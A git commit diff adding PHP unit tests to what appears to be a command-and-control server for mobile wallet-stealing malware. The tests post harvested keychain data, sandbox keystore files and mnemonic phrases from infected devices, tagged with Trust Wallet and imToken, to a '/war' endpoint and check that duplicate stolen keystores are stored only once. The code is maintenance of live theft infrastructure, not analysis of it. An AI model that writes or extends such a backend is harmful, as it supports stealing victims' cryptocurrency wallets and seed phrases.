fix: test
This commit is contained in:
@@ -560,6 +560,10 @@ class C2ApiTest extends TestCase
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
@@ -567,6 +571,7 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
||||
|
||||
@@ -354,6 +354,72 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->assertContains('imToken', $sources);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_skips_duplicate_keystore_content(): void
|
||||
{
|
||||
$payload = [
|
||||
'lhu' => self::DS_LHU,
|
||||
'source' => 'pe_war_guarantee',
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'account' => 'trust_wallet',
|
||||
'dataHex' => bin2hex('{"device_uuid":"69DD25B2CA8B5682"}'),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
'sandbox' => [
|
||||
'trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}',
|
||||
],
|
||||
];
|
||||
|
||||
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
|
||||
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
|
||||
$this->assertSame(2, $rows->count());
|
||||
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_collapses_existing_duplicate_sandbox_rows(): void
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
$raw = [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
||||
];
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $raw,
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $raw,
|
||||
]);
|
||||
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_twelve_word_phrase_ingests_mnemonic(): void
|
||||
{
|
||||
|
||||
@@ -35,4 +35,34 @@ class WalletKeystoreTest extends TestCase
|
||||
$this->assertSame('777350', $row->listedItems()[0]['data_preview']);
|
||||
$this->assertSame('agrp', $row->listedItems()[0]['access_group']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function same_sandbox_bytes_share_one_hash(): void
|
||||
{
|
||||
$json = '{"device_uuid":"69DD25B2CA8B5682"}';
|
||||
$asFile = [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => ['trust_wallet' => $json],
|
||||
];
|
||||
$asNested = [
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => [
|
||||
'trust_wallet' => [
|
||||
'Documents/keystore/wallet.json' => base64_encode($json),
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$this->assertSame(
|
||||
WalletKeystore::hashPayload($asFile),
|
||||
WalletKeystore::hashPayload($asNested),
|
||||
);
|
||||
$this->assertNotSame(
|
||||
WalletKeystore::hashPayload($asFile),
|
||||
WalletKeystore::hashPayload([
|
||||
'kind' => 'sandbox',
|
||||
'sandbox' => ['trust_wallet' => '{"device_uuid":"other"}'],
|
||||
]),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user